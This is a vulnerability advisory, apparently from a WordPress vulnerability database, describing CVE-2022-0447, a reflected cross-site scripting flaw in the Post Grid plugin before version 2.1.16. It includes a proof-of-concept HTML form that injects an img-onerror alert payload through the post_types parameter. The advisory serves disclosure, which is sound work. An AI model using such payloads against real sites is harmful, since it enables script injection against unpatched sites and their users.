Post Grid < 2.1.16 – Reflected Cross-Site Scripting via post_types | CVE 2022-0447 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape the post_types parameter before outputting it back in the response of the post_grid_update_taxonomies_terms_by_posttypes AJAX action, available to any authenticated users, leading to a Reflected Cross-Site Scripting

Proof of Concept

<html>
    <form action="https://example.com/wp-admin/admin-ajax.php?action=post_grid_update_taxonomies_terms_by_posttypes" method="POST">
        <input type="text" value="<html><img src onerror=alert(/XSS/)>" name="post_types">
        <input type="submit" value="Send">
    </form>
</html>

Affects Plugins

Fixed in 2.1.16

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website

https://kazet.cc/

Verified

Yes

WPVDB ID

91ca2cc9-951e-4e96-96ff-3bf131209dbe

Timeline

Publicly Published

2022-03-15 (about 3 years ago)

Added

2022-03-15 (about 3 years ago)

Last Updated

2022-04-09 (about 3 years ago)

Other

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